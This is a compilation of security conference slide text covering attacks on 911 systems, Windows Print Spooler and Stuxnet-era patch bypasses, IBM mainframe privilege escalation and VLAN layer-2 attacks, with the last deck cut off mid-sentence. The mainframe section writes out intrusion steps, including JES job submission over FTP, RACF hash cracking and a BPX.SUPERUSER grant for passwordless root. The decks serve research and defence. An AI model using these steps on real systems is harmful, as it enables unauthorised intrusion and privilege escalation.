Nessus Feed changes ● Security compass exploit-me tools ● Easy to use instructions and products to help those who need it ● Welcome discussion later #8 We have No Skills #8 We Have No Skills ● During Hackcon in Norway, Visited Norweigan resistance museum with handful of other hackers ● We suck compared to the stuff these guys pulled off. They were true hackers ● We have a passion for exploration and exploitation but have we forgotten where we came from? ● How many of you can identify this: #8 We Have No Skills #8 We Have No Skills ● It's a Fox Hole radio ● How many could build one? ● Many of us would be clueless/useless without our high tech ● Proposal for next year: Hacker Survival Skills Class ● Old school improvised tech and skills for being useful if things hit the fan #9 Unpaid Debts #9 Unpaid Debts ● “You owe me a beer for that” ● “Thanks, I owe you a beer” ● No simple way to track the 'beer economy' at cons ● Need web programmer for beer-tracker.com ● Mechanism for tracking beer debt and credit ● Print out report at con time and settle debts #9 Unpaid Debts ● Possible Beer 'currencies': 1 Guiness = 24 PBR's? ● Cross settling of debts ● A Karma system, but with Beer ● Need a web programmer to help build it ● Start with Defcon, maybe throw it open to other cons and frat houses #10 Encryption Products #10 Encryption Products ● Recent descision means border is a no-mans land ● Random laptop search, don't have anything to hide, don't have everything to share ● Like many, I dual boot; Most if not all full drive crypto products won't dual boot ● Truecrypt is Open-Source, someone please fix this ● Goes back to #1, make it easy to use Conclusion ● Feel free to question/challenge/berate me after I get off stage ● I'll be in the wireless village ● Tool evolution milestones are already posted in the wireless village ● Looking for volunteers for next year to teach oldschool hacker survival tactics Thank You Render@RenderLab.net www.renderlab.net www.churchofwifi.org
pdf
Hacking 911: Adventures in Disruption, Destruction, and Death quaddi, r3plicant & Peter Hefley August 2014 Jeff Tully Christian Dameff Peter Hefley Physician, MD Emergency Medicine Open CTF champion sudoers- Defcon 16 Speaker, Defcon 20 Physician, MD Pediatrics Wrote a program for his TI-83 graphing calculator in middle school Speaker, Defcon 20 IT Security, MSM, C|CISO, CISA, CISSP, CCNP, QSA Senior Manager, Sunera Gun hacker, SBR aficionado This talk is neither sponsored, endorsed, or affiliated with any of our respective professional institutions or companies. No unethical or illegal practices were used in researching, acquiring, or presenting the information contained in this talk. Do not attempt the theoretical or practical attack concepts outlined in this talk. This talk includes disturbing audio clips. Disclaimer Outline - Why This Matters (Pt. 1) - 911 Overview - Methodology - Attacks - Why This Matters (Pt. 2) Why This Matters (Pt. 1) 4/26/2003 9:57pm Emergency Medical Services (EMS) Research Aims • Investigate potential vulnerabilities across the entire 911 system • Detail current attacks being carried out on the 911 system • Propose solutions for existing vulnerabilities and anticipate potential vectors for future infrastructure modifications Methodology • Interviews • Regional surveys • Process observations • Practical experimentation • Solution development Wired Telephone Call End Office Selective Router PSAP ALI Database Voice Only Voice and Data Data Voice Voice + ANI Voice + ANI ANI ALI Wireless Phase 1 Telephone Call Mobile Switching Center Selective Router PSAP ALI Database Voice Only Voice and Data Data Voice Voice + pANI/ESRK Voice + pANI/ESRK pANI / ESRK ALI Cell Tower Voice Callback # (CBN) Cell Tower Location Cell Tower Sector pANI / ESRK CBN, Cell Tower Location, Cell Tower Sector, pANI / ESRK Mobile Positioning Center Wireless Phase 1 Data Wireless Phase 2 Telephone Call Mobile Switching Center Selective Router PSAP ALI Database Voice Only Voice and Data Data Voice + pANI/ESRK Voice + pANI/ESRK pANI / ESRK ALI Cell Tower Voice Callback # Cell Tower Location Cell Tower Sector pANI / ESRK Latitude and Longitude, Callback #, Cell Tower Location, Cell Tower Sector, pANI / ESRK Position Determination Equipment Mobile Positioning Center Voice Wireless Phase 2 Data VoIP Call Emergency Services Gateway Selective Router PSAP ALI Database Voice Only Voice and Data Data VoIP + CBN Voice + ESQK Voice + ESQK ESQK ALI VoIP Service Provider CBN ESN#, ESQK CBN, Location, ESQK VoIP + CBN VSP Database The Three Goals of Hacking 911 • Initiate inappropriate 911 response • Interfere with an appropriate 911 response • 911 system surveillance System Weaknesses Wired – End Office Control End Office Selective Router PSAP ALI Database Voice Only Voice and Data Data Voice Voice + !%$# Voice + !%$# !%$# ALI?? ALI Database NSI Emergency Calls Mobile Switching Center Selective Router PSAP ALI Database Voice Only Voice and Data Data Voice + pANI/ESRK Voice + pANI/ESRK pANI / ESRK ALI Cell Tower CBN? Cell Tower Location Cell Tower Sector pANI / ESRK CBN, Cell Tower Location, Cell Tower Sector, pANI / ESRK CBN = 911 + last 7 of ESN/IMEI Voice Voice Mobile Positioning Center Wireless Location Modification Mobile Switching Center Selective Router PSAP ALI Database Voice Only Voice and Data Data Voice Voice + pANI/ESRK Voice + pANI/ESRK pANI / ESRK ALI Cell Tower Callback # Cell Tower Location Cell Tower Sector pANI / ESRK !@#Lat/Long%%$, Callback #, Cell Tower Location, Cell Tower Sector, pANI / ESRK Position Determination Equipment Mobile Positioning Center Voice VSP Modification Emergency Services Gateway Selective Router PSAP ALI Database Voice Only Voice and Data Data VoIP + CBN Voice + ESQK Voice + ESQK ESQK #ALI@ VoIP Service Provider CBN ESN#, ESQK VSP Database CBN, #%Location$@, ESQK VoIP + CBN System Attacks Swatting Call VoIP Service Providers Service disruption attacks • Line-cutting • Cell phone jamming • ALI database editing • TDoS Resource exhaustion (virtual/personnel) Outdated system architectures Lack of air-gapping Privacy Health Impacts Bystander CCO CPR Improves Chance of Survival from Cardiac Arrest 100% 80% 60% 40% 20% 0% Time between collapse and defibrillation (min) 0 1 2 3 4 5 6 7 8 9 Survival (%) Nagao, K Current Opinions in Critical Care 2009 EMS Arrival Time based on TFD 90% Code 3 Response in FY2008. Standards of Response Coverage 2008. EMS Arrival No CPR Traditional CPR CCO CPR Strategic Threat Agents • 6000 PSAPs taking a combined 660,000 calls per day • Fundamental building block of our collective security • Potential damage extends beyond individual people not being able to talk to 911 Solutions • Call-routing red flags • Call “captchas” • PSAP security standardizations • Increased budgets for security services • Open the Black Box Call-Routing Red Flags Call “Captchas” Security Standardization Budget Hard Looks Q&A
pdf
Printing is still the Stairway to Heaven A Decade After Stuxnet’s Printer Vulnerability LABS Peleg Hadar Senior Security Researcher & Tomer Bar Research Team Lead | Peleg Hadar Senior Security Researcher ■ 7+ years in InfoSec ■ Senior Security Researcher @ SafeBreach Labs ■ Main focus in Windows internals and vulnerability research ■ @peleghd 2 LABS Tomer Bar Research Team Lead ■ 15+ years in Cyber Security ■ Research Team Lead @ SafeBreach Labs ■ Main focus in APT and vulnerability research ■ Past publications: ● Prince of Persia - Terminating 10 Years Campaign For Fun And Profit ● Infy Malware Active In Decade Of Targeted Attacks ● KasperAgent and Micropsia - Targeted Attacks In The Middle East ● Ride The Lightning With Foudre ● Double Edge Sword Attack - Exploiting Quasar Rat Command and Control ● BadPatch (APT-C-23) 3 LABS 4 Agenda Is Stuxnet 2.0 possible? ■ Analysis of Stuxnet’s propagation capabilities (vulnerabilities) ● Root Cause ● Patch ● Re-Exploitation / Equivalent newer vulnerability in the same component ■ Our Research ● How did we re-exploited a patched 10 years old MS Windows vulnerability ● Demonstration of 2 unpatched 0-day vulnerabilities (Pre-coordinated with Microsoft) ■ Mitigations and Suggestions ● Better Patch ● Better real-time prevention for an entire bug class Stuxnet 2.0 Patch effectiveness 5 Agenda two main takeaways Is it possible to abuse patched vulnerabilities? Is it possible to re-occur? 6 Terminology Narrow Patch Patch 7 Stuxnet Recap & Timeline 8 Stuxnet As Seen in “0 Days” 9 Propagation Capabilities 5 Vulnerabilities 2 LPE 3 RCE Rootkit Stolen Certificate Final Payload Siemens Related Actions Evasion Capabilities ICS Target Detection ICS Capabilities Stuxnet Main Building Blocks MS10-046 (LNK) MS10-061 (Spooler) Spooler Propagation Capabilities 10 MS06-040 (RPC) MS10-092 (Task Scheduler) MS10-073 (Win32k) “Now, over 22 million pieces of malware use that blueprint to attack organizations and states…” -regdox.com MS10-046 (LNK) MS10-061 (Spooler) Spooler Propagation Capabilities 11 MS10-046 (LNK) MS06-040 (RPC) MS10-092 (Task Scheduler) MS10-073 (Win32k) 12 LNK File Pointer to an Icon Resource CPL (DLL) File Icon Resource LoadLibrary Malicious Code LNK Stuxnet’s 0-day - Root Cause LNK Stuxnet’s 0-day - Exploitation Icon ID = 0 Icon Path (CPL) wszIcon 14 LNK 0-Day Exploitation Paths Overview CVE-2010-2568 Payload Execution Function LoadAndFindApplet CPL_LoadCPLModule LoadLibraryW 15 LNK MS10-046 Patch CVE-2010-2568 Payload Execution Function LoadAndFindApplet CPL_LoadCPLModule LoadLibraryW The patch did not modify this call! IsRegisteredCPL && StrToIntW(wszIconId) == 0 NO YES Don’t Load CPL, Change IconID to -1 User-controlled input from LNK Narrow Patch 16 LNK 0-Day Exploitation Paths Overview CVE-2010-2568 Payload Execution Function LoadAndFindApplet CPL_LoadCPLModule LoadLibraryW The patch did not modify this call! IsRegisteredCPL && StrToIntW(wszIconId) == 0 Don’t Load CPL, Change IconID to -1 User-controlled input from LNK CVE-2015-0096 NO YES Narrow Patch CVE-2015-0096 Patch Bypass Truncated to 260 Wide Chars 554 Wide Chars 17 [ c : \ M a . d l l , - 1 ,AA...AAA \ 0 ] int dwIconId = StrToIntW(L”-”) dwIconId will be 0 [ c : \ M a . d l l , - \ 0 ] 18 LNK 0-Day Exploitation Paths Overview CVE-2010-2568 Payload Execution Function LoadAndFindApplet CPL_LoadCPLModule LoadLibraryW The patch did not modify this call! IsRegisteredCPL Don’t Load CPL CVE-2015-0096 MS015-020 ● Buffer truncation issue was fixed ● StrToIntW removed NO YES Narrow Patch Narrow Patch 19 LNK 0-Day Exploitation Paths Overview CVE-2010-2568 CVE-2015-0096 CVE-2017-8464 Payload Execution Function _GetPidlFromAppletId _DecodeSpecialFolder LoadAndFindApplet CPL_LoadCPLModule LoadLibraryW Narrow Patch Narrow Patch 20 LNK 0-Day Exploitation Paths Overview CVE-2010-2568 CVE-2015-0096 CVE-2017-8464 Payload Execution Function _GetPidlFromAppletId _DecodeSpecialFolder LoadAndFindApplet CPL_LoadCPLModule LoadLibraryW CVE-2017-8464 - Patch ● Added previous validation to validate if CPL is registered Narrow Patch Narrow Patch 21 LNK 0-Day Exploitation Paths Overview CVE-2010-2568 CVE-2015-0096 CVE-2017-8464 Not been exploited yet _NextNonCachedCpl Payload Execution Function _GetPidlFromAppletId _DecodeSpecialFolder LoadAndFindApplet CPL_LoadCPLModule LoadLibraryW The patch did not modify this call either! Narrow Patch Narrow Patch MS10-046 (LNK) MS06-040 (RPC) Spooler Printing our Way to SYSTEM 22 MS10-073 (Win32k) MS10-061 (Spooler) MS10-092 (Task Scheduler) MS10-046 (LNK) CVE-2015-0096 (LNK) CVE-2017-8464 (LNK) MS06-040 (RPC) RPC http://mapscroll.blogspot.com/2009/04/mapping-conficker-worm.html Conficker HeatMap 23 2009 2006 Wide spread - The same vulnerable dll was exploited By Stuxnet & Conficker Worm MSRC - 1st Vulnerability - Limited Scope “Very limited, targeted attacks” As a reminder, Microsoft is aware of very limited, targeted attacks that exploited the vulnerability prior to the release of the update, but we’re not currently seeing broad attacks that use this newly posted exploit code “ ~Microsoft Security Response Center RPC Path Canonical path Path Canonization absolute path: canonical path: C:\xxx\..\abc\file.txt ----> C:\abc\file.txt It allows textual comparison of two different representation of the same canonical path C:\xxx\..\abc\xxx\..\file.txt == C:\xxx\..\abc\file.txt == C:\abc\file.txt RPC Root Cause - CVE-2006-3439 25 NetpwPathCanonicalize RPC request The vulnerable function allocates 0x414 bytes of space, but limits the length of the Path to 0x411 Unicode chars (0x822 bytes). netpwpathcanonicalize( _in_ DWORD Unicode_path_ptr_second_half, _out_ DWORD lpwidecharstr, _in_ DWORD Size,, _in_ DWORD Unicode_path_ptr_first_half, _in_out_ DWORD long_ptr_ptr, _in_ DWORD flag_bit ); 25 Client Path Server Service CVE-2006-3439 - Old school stack based buffer overflow dce=Pex::DCERPC->new(...) $dce->request(handle, 0x1f, stub(including path ) RPC - Exploitation Paths Overview CVE-2006-3439 Wcscat NetpwPathCanonicalize Stack OOB write Primitive MS06-040 Patch 1. Check if path length is more than 0x207 2. Omit the wcscat function call 27 RPC Exploitation Paths Overview 28 CVE-2006-3439 CVE-2008-4250 CVE-2006-3439 Wcscat NetpwPathCanonicalize NetprPathCanonicalize Wcscpy Stack OOB write Primitive Stack OOB write Primitive RPC Exploitation Paths Overview 29 https://dontstuffbeansupyournose.com/2008/10/23/looking-at-ms08-067/ RPC The Patch - MS08-067 CVE-2006-3439 CVE-2008-4250 CVE-2006-3439 Wcscat NetpwPathCanonicalize NetprPathCanonicalize _StringCopyWorkerW Wcscpy Stack OOB write Primitive Stack OOB write Primitive 31 Task Scheduler LPE - CVE-2010-3338 - Root Cause A registered job Added bytes will change back the CRC32 value to bypass the integrity check The xml command is modified to execute the malicious code MALICIOUS.EXE The Patch - MS10-092 Microsoft has implemented a 2nd integrity check SHA-256 using ComputeHash function. Source: https://aroundcyber.files.wordpress.com/2012/11/stuxnet_under_the_microscope.pdf A crafted job with a forged CRC32 32 Task Scheduler LPE - CVE-2019-1069 CVE-2019-1069 - new Task Scheduler LPE Task Scheduler stores tasks as files in two separate locations: C:\Windows\Tasks < ----(legacy location). C:\Windows\System32\Tasks Sending an RPC request to the service for modifying a legacy-located task will migrate it to the preferred location of C:\Windows\System32\Tasks. Malware File Job Migrated Get SYSTEM privileges RPC request to service https://www.zerodayinitiative.com/blog/2019/6/11/exploiting-the-windows-task-scheduler-through-cve-2019-1069 33 Task Scheduler 0-Day Exploitation Paths Overview CVE-2019-1069 _SchRpcSetSecurity SetJobFileSecurityByName CreateFile SetSecurityInfo 34 Task Scheduler CVE-2019-1069 - Patch CVE-2019-1069 _SchRpcSetSecurity SetSecurityInfo GetFileInformationBy Handle ACCESS DENIED ELSE nNumberOfLinks <= 1 \ && OriginalPath == FinalPath GetFinalPathNameByHandleW SetJobFileSecurityByName CreateFile VerifyJobFilePath MS10-046 (LNK) MS06-040 (RPC) Spooler Propagation Capabilities 35 MS10-073 (Win32k) MS10-061 (Spooler) MS10-092 (Task Scheduler) MS10-046 (LNK) MS10-092 (Task Scheduler) MS10-073 (Win32k) CVE-2015-0096 (LNK) CVE-2017-8464 (LNK) MS08-067 (RPC) CVE-2019-1069 (Task Scheduler) CVE-2020-0720 (Win32k) CVE-2020-0721 (Win32k) MS06-040 (RPC) Win32k Vulnerabilities - 2020 List (Partial) 36 MS10-046 (LNK) MS06-040 (RPC) Spooler Propagation Capabilities 37 MS10-073 (Win32k) MS10-061 (Spooler) MS10-092 (Task Scheduler) MS10-046 (LNK) MS10-092 (Task Scheduler) MS10-073 (Win32k) MS10-061 (Spooler) CVE-2015-0096 (LNK) CVE-2017-8464 (LNK) MS08-067 (RPC) CVE-2019-1069 (Task Scheduler) CVE-2020-0720 (Win32k) CVE-2020-0721 (Win32k) MS06-040 (RPC) 38 Our Research 39 20+ Year-old Bug in 20 Minutes of Fuzzing 40 Spooler SHD and SPL files Printing Jobs 00001.SHD 00001.SPL \Windows\System32\spool\PRINTERS Data to Print Metadata of print job Writable folder by all users SHD is processed once service is started Spooler Fuzzing in the Shadow (File) After 20 minutes... 41 Spooler Crash Demo 42 43 Print Spooler (Printing to a File) Server Client 44 Print Spooler (Printing to a File) Application Server (Spoolsv.exe) Client (Winspool.drv) Print Router (spoolss.dll) Local Print Provider c:\temp\file.txt RPC Printer Port 45 Spooler 0-Day Exploitation Paths Overview 45 CVE-2010-2729 StartDocPrinterW CreateFileW PrintingDirectlyToPort LcmStartDocPort RPC Narrow Patch 46 Spooler MS10-061 Patch 46 CVE-2010-2729 StartDocPrinterW CreateFileW PrintingDirectlyToPort CheckLocalCall ACCESS DENIED NO LcmStartDocPort YES ValidateOutputFile Narrow Patch 47 Spooler MS10-061 Patch Bypass #1 47 CVE-2010-2729 StartDocPrinterW CreateFileW PrintingDirectlyToPort CheckLocalCall ACCESS DENIED NO CVE-2020-1048 LcmStartDocPort YES ValidateOutputFile Narrow Patch Spooler Arbitrary Printer Port Creation 48 Spooler The Impersonation Barrier Server Client Application Server (Spoolsv.exe) Client (Winspool.drv) Print Router (spoolss.dll) Local Print Provider C:\windows\system32\ wbemcomn.dll RPC + Impersonation Printer Port Accessing the file using the access token of the client 49 50 Spooler CVE-2020-1048 Root Cause Print Spooler Initialization ProcessShadowJobs Print Pre-Written Jobs (Saved as SHD files) Limited User SYSTEM Token 00001.SHD Print Port Path C:\Windows\System32\ Wbem\Wbemcomn.dll 51 Spooler MS10-061 Patch Bypass #2 CVE-2010-2729 StartDocPrinterW CreateFileW PrintingDirectlyToPort CheckLocalCall ACCESS DENIED NO CVE-2020-1048 LcmStartDocPort YES ValidateOutputFile Narrow Patch Spooler LPE Demo (1/2) 52 MS10-046 (LNK) MS06-040 (RPC) Spooler Printing our Way to SYSTEM 53 MS10-073 (Win32k) MS10-061 (Spooler) MS10-092 (Task Scheduler) MS10-046 (LNK) MS10-092 (Task Scheduler) MS10-073 (Win32k) MS10-061 (Spooler) CVE-2015-0096 (LNK) CVE-2017-8464 (LNK) MS08-067 (RPC) CVE-2019-1069 (Task Scheduler) CVE-2020-0720 (Win32k) CVE-2020-0721 (Win32k) CVE-2020-1048 (Spooler) CVE-2020-1337 (Spooler) MS06-040 (RPC) 54 Spooler Printing our Way to SYSTEM 55 Spooler Printing our Way to SYSTEM Stuxnet 2.0 Is it possible to re-occur? POSSIBILE ! Spooler 0-day - Patch Bypass - CVE-2020-1337 56 ■ This is a 0-day and it will be fixed by Microsoft ■ Stay tuned for our exploit blog post which will be released in the next few days (once the vulnerability is fixed) CVE-2010-2729 CVE-2020-1048 CVE-2020-1337 REDACTED Narrow Patch Spooler 0-day Demo - CVE-2020-1337 - REDACTED 57 58 Mitigations Recommended Mitigations 59 Patch effectiveness Is it possible to abuse patched vulnerabilities? Recommended Mitigations Spooler 60 OS Patching Real Time Detection & Prevention Network Security Controls Breach and Attack Simulations Security Operation Center Recommended Mitigations Bug Class 61 A limited user can write to the following paths which leads to multiple vulnerabilities 1. System32\spool\PRINTERS - CVE-2020-1048, CVE-2020-1337, Spooler DoS 2. Spool\drivers\color - CVE-2020-1117 (RCE) 3. System32\tasks - CVE-2019-1069 4. C:\ProgramData\Microsoft\Windows\WER\ReportQueue - CVE-2019-0863 5. c:\windows\debug\WIA 6. c:\windows\PLA - 3 sub directories. Recommended Mitigations driver demo 62 Microsoft Response 63 The additional vector for CVE-2020-1048 will be addressed in August 2020 as CVE-2020-1337 “ ~Microsoft Security Response Center The technique results in a local Denial of Service; which doesn’t meet Microsoft’s servicing bar for security updates “ ~Microsoft Security Response Center Spooler DoS Spooler LPE Related Work 64 ■ Alex Ionescu & Yarden Shafir - PrintDemon ■ Dave Weinstein - Full details on CVE-2015-0096 and the failed MS10-046 Stuxnet fix ■ ITh4cker - Windows Lnk Vul Analysis:From CVE-2010-2568 to CVE-2017-8464 ■ Jeongoh Kyea - CVE-2020-1770 - Print Spooler EoP Vulnerability Released Tools 65 ■ CVE-2020-1048 - Exploit PoC ■ 0-day Spooler ServiceS DoS - Exploit PoC ■ Arbitrary File Write Mitigation - Driver ■ On August 12th - CVE-2020-1337 - Exploit PoC https://github.com/SafeBreach-Labs/Spooler 66 Q&A Thank You! LABS Peleg Hadar Senior Security Researcher & Tomer Bar Research Team Leader |
pdf
From ROOT to SPECIAL Hacking IBM Mainframes Soldier of Fortran @mainframed767 DISCLAIMER! All research was done under personal time. I am not here in the name of, or on behalf of, my employer. Therefore, any views expressed in this talk are my own and not those of my employer. This talk discusses work performed in my spare time generally screwing around with mainframes and thinking 'what if this still works...' @mainframed767 ?Question? PLAIN TXT 53% SSL 47% INTERNET MAINFRAMES ?SSL? Self Signed 33% No Error 49 SSL TN3270 MAINFRAMES Bad CA 17% Who are you? •  Security Guy •  Tired of 90’s thinking •  Eye opening experience @mainframed767 PCI Security Expert Mainframe Security Guru ISO 27002 & PCI Certifier “What’s NETSTAT?” - Our Horrible Consultant Spoken z/OS? WTF •  Most popular “mainframe” OS •  Version 2.1 out now! Legacy my ass! @mainframed767 z/OS Demo •  Let’s take a look at this thing •  It’ll all make sense @mainframed767 zOS or PoS? •  Hard to tell, identifying sucks •  Scanner have “challenges” nmap -sV -p 992 167.xxx.4.2 -Pn @mainframed767 Nmap 6.40 PORT: 992/tcp STATE: open SERVICE: ssl VERSION: IBM OS/390 @mainframed767 Nmap 6.46 PORT: 992/tcp STATE: open SERVICE: ssl VERSION: Microsoft IIS SSL @mainframed767 CENSORED( CENSORED( CENSORED( CENSORED( CENSORED( CENSORED( Other Methods •  Web Servers: IBM HTTP Server V5R3M0 FTP Banner @mainframed767 CENSORED( Lets Break in •  Steal Credentials •  Web Server •  3270 Panels – Usin’ BIRP @mainframed767 Ettercap Demo @mainframed767 Missed it @mainframed767 CGI-Bin in tyool 2014 •  REXX / SH still used •  Injection simple, if you know TSO commands @mainframed767 @mainframed767 CENSORED( CENSORED( @mainframed767 B.I.R.P. •  Big Iron Recon & Pwnage – By @singe – HITB 2014 •  3270 is awesome @mainframed767 Standard 3270 @mainframed767 BIRP 3270 @mainframed767 Only FTP? •  No Problem! •  FTP lets you run JCL (JCL = Script) •  Command: SITE FILE=JES Access Granted •  Now we have access •  FTP Account •  Asking someone Now what? @mainframed767 Escalate! •  Let’s escalate our privilege •  Connect with telnet/ssh/3270 @mainframed767 Getroot.rx •  rexx script •  Leverages CVE-2012-5951: Unspecified vulnerability in IBM Tivoli NetView 1.4, 5.1 through 5.4, and 6.1 on z/OS allows local users to gain privileges by leveraging access to the normal Unix System Services (USS) security level. Tsk tsk •  IBM not really being honest here • Works on any setuid REXX script! @mainframed767 @mainframed767 DEMO @mainframed767 DEMO THANKS •  Swedish Black Hat community •  Oliver Lavery – GDS Security •  Logica Breach Investigation Files Keep ACCESS •  Get a copy of the RACF database •  John the Ripper racf2john racf.db john racf_hashes @mainframed767 Steal •  Use IRRDBU00 to convert RACF to flat file •  Search for SPECIAL accounts •  Login with a SPECIAL account @mainframed767 IRRDBU00 CENSORED( @mainframed767 Welcome to OWN zone •  SPECIAL gives access to make any change to users •  Add Users •  Make others SPECIAL, OPERATIONS @mainframed767 Giver UID 0 @mainframed767 Giver SPECIAL @mainframed767 INETD @mainframed767 INETD •  Works just like Linux Kill inetd: - ps –ef|grep inetd - Kill <id> @mainframed767 Connect with NETEBCDICAT •  EBCDIC! @mainframed767 •  Use NetEBCDICat BPX. Wha? •  BPX.SUPERUSER – Allows people to su to root without password BPX.SUPERUSER •  As SPECIAL user type (change userid): PERMIT BPX.SUPERUSER CLASS(FACILITY) ID(USERID) ACCESS(READ) And SETROPTS GENERIC(FACILITY) REFRESH Tools •  CATSO –  TSO Bind/Reverse shell •  TSHOCKER – Python/JCL/FTP wrapper for CATSO •  MainTP – Python/JCL/FTP getroot.rx wrapper @mainframed767 TShocker @mainframed767 Maintp •  Uses GETROOT.rx + JCL and FTP and NetEBCDICat to get a remote root shell @mainframed767 Thanks •  Logica Breach Investigation Team •  Dominic White (@singe) •  The community Contact Twitter @mainframed767 Email mainframed767@gmail.com Websites: Mainframed767.tumblr.com Soldieroffortran.org
pdf
K &T :: IGS :: MAF K &T :: IGS :: MAF 11 VLANs Layer 2 Attacks: VLANs Layer 2 Attacks: Their Relevance Their Relevance and and Their Kryptonite Their Kryptonite VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 22  Security is only as strong as the weakest link Security is only as strong as the weakest link  Layer 2 attacks are timeworn but still relevant in today's networking Layer 2 attacks are timeworn but still relevant in today's networking environment environment  Crime and security survey show different types of attacks for the year of Crime and security survey show different types of attacks for the year of 2007. CSI / FBI surveys also show that 9 of 19 types of attacks could 2007. CSI / FBI surveys also show that 9 of 19 types of attacks could target routers and switches target routers and switches Attacks (other) Possible Layer 2 VLAN Layer 2 Attacks  Cisco 3600, 2600 routers Cisco 3600, 2600 routers  Cisco 2900, 3500, 4006 switches Cisco 2900, 3500, 4006 switches  Wifi Netgear & Cisco-Linksys Wifi Netgear & Cisco-Linksys Tools Tools  Scapy Scapy  Yersinia Yersinia  Macof Macof  TCPDump TCPDump  Cain & Abel Cain & Abel  EtterCap EtterCap  Ethereal Ethereal K &T :: IGS :: MAF K &T :: IGS :: MAF 33 Equipment Equipment Attacks Attacks  ARP Attacks ARP Attacks  MAC Flooding Attack/ CAM Table Overflow Attacks MAC Flooding Attack/ CAM Table Overflow Attacks  DHCP Starvation Attack DHCP Starvation Attack  CDP Attack CDP Attack  Spanning-Tree Attack Spanning-Tree Attack  Multicast Brute Force Multicast Brute Force  VLAN Trunking Protocol Attack VLAN Trunking Protocol Attack  Private VLAN Attack Private VLAN Attack  VLAN Hopping Attack VLAN Hopping Attack  Double-Encapsulated 802.1Q/Nested VLAN Attack Double-Encapsulated 802.1Q/Nested VLAN Attack  VLAN Management Policy server VMPS/ VLAN VLAN Management Policy server VMPS/ VLAN Query Protocol VQP Attack Query Protocol VQP Attack VLAN Layer 2 Attacks How to get a lab for testing purposes How to get a lab for testing purposes K &T :: IGS :: MAF K &T :: IGS :: MAF 44 VLAN Layer 2 Attacks  Just ask HD Moore’s ISP Just ask HD Moore’s ISP  Someone was ARP poisoning the IP Someone was ARP poisoning the IP address address Example: Metasploit.com ISP PIMPED! Example: Metasploit.com ISP PIMPED! 13:04:39.768055 00:15:f2:4b:cd:3a > 00:15:f2:4b:d0:c9, ethertype ARP (0x0806), length 60: arp reply 216.75.15.1 is-at 00:15:f2:4b:cd:3a 13:04:39.768055 00:15:f2:4b:cd:3a > 00:15:f2:4b:d0:c9, ethertype ARP (0x0806), length 60: arp reply 216.75.15.1 is-at 00:15:f2:4b:cd:3a 13:04:40.397616 00:15:f2:4b:cd:3a > 00:15:f2:4b:d0:c9, ethertype ARP (0x0806), length 60: arp reply 216.75.15.1 is-at 00:05:dc:0c:84:00 13:04:40.397616 00:15:f2:4b:cd:3a > 00:15:f2:4b:d0:c9, ethertype ARP (0x0806), length 60: arp reply 216.75.15.1 is-at 00:05:dc:0c:84:00 13:04:40.397686 00:15:f2:4b:cd:3a > 00:15:f2:4b:d0:c9, ethertype ARP (0x0806), length 60: arp reply 216.75.15.1 is-at 00:15:f2:4b:cd:3a 13:04:40.397686 00:15:f2:4b:cd:3a > 00:15:f2:4b:d0:c9, ethertype ARP (0x0806), length 60: arp reply 216.75.15.1 is-at 00:15:f2:4b:cd:3a K &T :: IGS :: MAF K &T :: IGS :: MAF 55 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 66  ARP Poisoning: Simple and effective ARP Poisoning: Simple and effective  ARP may be used most but least respected ARP may be used most but least respected  250 other servers are hosted on the same local network at the same 250 other servers are hosted on the same local network at the same service provider metasploit.com that were still vulnerable a month ago service provider metasploit.com that were still vulnerable a month ago  No authentication built into protocol No authentication built into protocol  Information leakage Information leakage VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 77 VLAN Layer 2 Attacks  ARP attack demo ARP attack demo Example: Example: 11st st of its kind. Human ARP attack of its kind. Human ARP attack K &T :: IGS :: MAF K &T :: IGS :: MAF 88 VLAN Layer 2 Attacks  Port Security Port Security  Non changing ARP entries (don’t waste your time) Non changing ARP entries (don’t waste your time)  DHCP Snooping (the network device maintains a record of DHCP Snooping (the network device maintains a record of the MAC address that are connected to ARP port) the MAC address that are connected to ARP port)  Arpwatch (listens to arp replies) Arpwatch (listens to arp replies)  ArpON ArpON K &T :: IGS :: MAF K &T :: IGS :: MAF 99 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 10 10  MAC flooding attacks are often ignored in the corporate environment.  MAC flooding – switch ports act like a hub when overloaded  CAM table - table fills and the switch begins to echo any received frame to all port (traffic bleeds out).  Tools to perform this attack:  Dsniff  Macof  Cain & Able  Ettercap VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 11 11 Macof at work flooding the Cisco switch VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 12 12 Switch is bleeding out the traffic VLAN Layer 2 Attacks  Same as the ARP attack mitigation Same as the ARP attack mitigation  Limit amount of MAC addresses to be learned / port. Limit amount of MAC addresses to be learned / port.  Static MAC addresses configuration (not scalable but Static MAC addresses configuration (not scalable but most secure). most secure). K &T :: IGS :: MAF K &T :: IGS :: MAF 13 13 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 14 14  A DHCP Scope exhaustion (client spoofs other clients) A DHCP Scope exhaustion (client spoofs other clients)  Installation of a rogue DHCP server Installation of a rogue DHCP server  Tools Tools  Yersinia Yersinia  Gobbler Gobbler VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 15 15 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 16 16 Possible to setup a rogue DHCP server. The attacker may hijack traffic and this can have devastating results. VLAN Layer 2 Attacks  Demo Time Demo Time  DHCP Starvation Demo DHCP Starvation Demo K &T :: IGS :: MAF K &T :: IGS :: MAF 17 17 VLAN Layer 2 Attacks  By limiting the number of MAC addresses By limiting the number of MAC addresses on a switch port will reduce the risk of on a switch port will reduce the risk of DHCP starvation attacks. DHCP starvation attacks.  DHCP Snooping – monitors and restricts DHCP Snooping – monitors and restricts DHCP DHCP K &T :: IGS :: MAF K &T :: IGS :: MAF 18 18 VLAN Layer 2 Attacks K &T :: IGS :: MAF K &T :: IGS :: MAF 19 19 • Cisco Discovery Protocol allows Cisco devices to Cisco Discovery Protocol allows Cisco devices to communicate amongst one another (IP address, software communicate amongst one another (IP address, software version, router model, etc) CDP is clear text and version, router model, etc) CDP is clear text and unauthenticated. unauthenticated. • CDP Denial Of Service (Many companies do not upgrade their CDP Denial Of Service (Many companies do not upgrade their IOS often enough to 12.2.x and current versions of CatOS) IOS often enough to 12.2.x and current versions of CatOS) • CDP cache overflow – a software bug can reset the switch CDP cache overflow – a software bug can reset the switch • Power exhaustion – claiming 